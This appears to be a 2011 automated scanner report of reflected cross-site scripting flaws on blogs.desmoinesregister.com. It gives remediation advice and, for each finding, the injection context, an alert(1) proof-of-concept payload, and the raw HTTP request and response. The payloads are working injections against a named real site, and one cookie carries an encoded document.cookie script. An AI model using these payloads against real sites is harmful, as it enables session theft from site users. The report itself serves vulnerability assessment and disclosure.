Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c487"%3balert(1)//001bc3b6472 was submitted in the REST URL parameter 1. This input was echoed as 6c487";alert(1)//001bc3b6472 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr6c487"%3balert(1)//001bc3b6472/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; GCIONSN=AAAAOn52dzoy; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:10:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70621
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33191"><script>alert(1)</script>647610c6837 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr33191"><script>alert(1)</script>647610c6837/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; GCIONSN=AAAAOn52dzoy; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:10:37 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70697
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr33191"><script>alert(1)</script>647610c6837/" /> ...[SNIP]...
1.3. http://blogs.desmoinesregister.com/dmr/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://blogs.desmoinesregister.com
Path:
/dmr/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bfac</script><script>alert(1)</script>df9f46e2468 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/?9bfac</script><script>alert(1)</script>df9f46e2468=1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; GCIONSN=AAAAOn52dzoy; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas>
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52d0a"%3balert(1)//c81c644a5e5 was submitted in the REST URL parameter 1. This input was echoed as 52d0a";alert(1)//c81c644a5e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr52d0a"%3balert(1)//c81c644a5e5/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69887
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba9f3"><script>alert(1)</script>2ae6c40c144 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmrba9f3"><script>alert(1)</script>2ae6c40c144/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69963
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmrba9f3"><script>alert(1)</script>2ae6c40c144/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6faae"%3balert(1)//4cf314e0707 was submitted in the REST URL parameter 2. This input was echoed as 6faae";alert(1)//4cf314e0707 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/index.php6faae"%3balert(1)//4cf314e0707/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:36:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69887
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... s: ['social.pluck.api'], requires:[], type: 'script'} ); })(); /*GO4 Faster Semantics*/ GEL.thepage.pageinfo.semantics={ response:{"Url":"http://blogs.desmoinesregister.com/dmr/index.php6faae";alert(1)//4cf314e0707/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/","ContentLength":0,"FetchDuration":5100,"ContentType":"","Id":0,"PathIds":0,"LanguageId":"","Channels":[],"UnconStatus":9}, s ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de38b"><script>alert(1)</script>874a658779c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/index.phpde38b"><script>alert(1)</script>874a658779c/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:36:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69963
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/index.phpde38b"><script>alert(1)</script>874a658779c/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/" /> ...[SNIP]...
1.8. http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ecfa6</script><script>alert(1)</script>3132b775423 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/?ecfa6</script><script>alert(1)</script>3132b775423=1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas>
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52af9"><script>alert(1)</script>873102b4d8f was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/audio-player/assets/audio-player.js52af9"><script>alert(1)</script>873102b4d8f?ver=2.0.4.1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69523
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/audio-player/assets/audio-player.js52af9"><script>alert(1)</script>873102b4d8f" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa9ca"%3balert(1)//678e5566e0f was submitted in the REST URL parameter 6. This input was echoed as fa9ca";alert(1)//678e5566e0f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/audio-player/assets/audio-player.jsfa9ca"%3balert(1)//678e5566e0f?ver=2.0.4.1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69785
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3b42"><script>alert(1)</script>3113957a202 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/dmr-tweets/jquery.tweet.jsc3b42"><script>alert(1)</script>3113957a202?ver=3.0.4 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69483
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/dmr-tweets/jquery.tweet.jsc3b42"><script>alert(1)</script>3113957a202" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33e51"%3balert(1)//000cbdc337f was submitted in the REST URL parameter 5. This input was echoed as 33e51";alert(1)//000cbdc337f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/dmr-tweets/jquery.tweet.js33e51"%3balert(1)//000cbdc337f?ver=3.0.4 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69745
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32dec"%3balert(1)//9a97554e736 was submitted in the REST URL parameter 6. This input was echoed as 32dec";alert(1)//9a97554e736 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/css/nggallery.css32dec"%3balert(1)//9a97554e736?ver=1.0.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:06 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69775
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b88e4"><script>alert(1)</script>22ba7e59903 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/css/nggallery.cssb88e4"><script>alert(1)</script>22ba7e59903?ver=1.0.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69513
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/nextgen-gallery/css/nggallery.cssb88e4"><script>alert(1)</script>22ba7e59903" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe488"%3balert(1)//e8899a6b1a0 was submitted in the REST URL parameter 6. This input was echoed as fe488";alert(1)//e8899a6b1a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.cssfe488"%3balert(1)//e8899a6b1a0?ver=1.3.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69819
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5488"><script>alert(1)</script>683302c7758 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.cssc5488"><script>alert(1)</script>683302c7758?ver=1.3.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69557
